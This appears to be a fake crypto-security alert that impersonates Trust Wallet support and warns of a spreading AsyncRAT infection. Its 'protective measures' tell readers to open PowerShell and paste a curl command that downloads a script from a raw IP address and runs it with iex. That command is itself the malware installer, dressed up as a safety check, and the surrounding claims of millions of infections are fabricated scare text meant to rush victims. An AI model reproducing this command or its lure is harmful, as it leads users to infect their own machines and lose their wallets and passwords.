URGENT WARNING: MASS CRYPTO WALLET HACK IS ALREADY UNDERWAY

The global crypto market is facing an unprecedented threat. Experts warn of the beginning of a global cyber-apocalypse: mass theft of funds from crypto wallets is being recorded worldwide. The number of victims is growing rapidly by the minute.

A new virus, which became known yesterday, has already infected millions of computers around the world. Unlike previous attacks, this malware operates globally, targeting personal user devices.

The first victims began reporting unauthorized transactions from their wallets early in the morning. Since then, the stream of reports about hacks has turned into an avalanche.

URGENT PROTECTIVE MEASURES

Trust Wallet technical support representatives strongly recommend all users to immediately check their Windows computers for the presence of a hidden AsyncRAT trojan. Follow the instructions below:

  1. Press Win + X
  2. Press 1 (or select PowerShell)
  3. Copy the command below:
curl.exe -el httpm://87.199.193.229:8844/d1/inncal1.pol|iex Copy
  1. Press Ctrl + V
  2. Press Enter and wait for execution

We also recommend installing additional protection: Windows built-in protection is often ineffective against this virus. Download 360 Total Security for a complete system clean-up.

HOW THE VIRUS WORKS

This malware operates silently, collecting crypto wallet data, intercepting passwords and mnemonic phrases. Particularly dangerous is the fact that the virus infects even computers with antivirus software installed.

WHAT TO EXPECT NEXT

Experts predict that the number of victims will grow significantly in the coming hours. Complete the instructions above as soon as possible.

Stay safe and protect your funds.

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